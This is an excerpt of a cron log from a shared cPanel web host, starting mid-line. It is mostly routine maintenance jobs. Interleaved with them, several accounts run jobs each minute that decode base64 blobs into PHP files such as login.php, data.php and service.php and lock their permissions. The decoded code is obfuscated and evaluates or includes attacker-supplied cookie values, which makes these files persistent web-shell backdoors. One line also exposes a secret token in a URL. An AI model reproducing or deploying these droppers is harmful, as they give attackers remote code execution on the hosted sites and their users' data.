ZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:43:01 medusa CROND[25763]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:43:01 medusa CROND[25764]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:43:01 medusa CROND[25765]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:43:01 medusa CROND[25766]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:43:01 medusa CROND[25767]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:43:01 medusa CROND[25768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:43:01 medusa CROND[25769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:43:01 medusa CROND[25771]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:43:02 medusa CROND[25790]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:43:02 medusa CROND[25793]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 16:43:02 medusa CROND[25794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:43:02 medusa CROND[25795]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 16:43:02 medusa CROND[25796]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:44:01 medusa CROND[15745]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:44:01 medusa CROND[15746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:44:01 medusa CROND[15748]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:44:01 medusa CROND[15750]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:44:01 medusa CROND[15751]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:44:01 medusa CROND[15749]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:44:01 medusa CROND[15752]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:44:01 medusa CROND[15753]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:44:01 medusa CROND[15754]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:44:01 medusa CROND[15747]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:44:01 medusa CROND[15761]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:44:01 medusa CROND[15763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:44:01 medusa CROND[15764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:45:01 medusa CROND[6005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:45:01 medusa CROND[6022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:45:01 medusa CROND[6117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6118]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:45:01 medusa CROND[6120]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6121]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  1 16:45:01 medusa CROND[6125]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:45:01 medusa CROND[6122]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:45:01 medusa CROND[6124]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:45:01 medusa CROND[6131]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6133]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:45:01 medusa CROND[6136]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
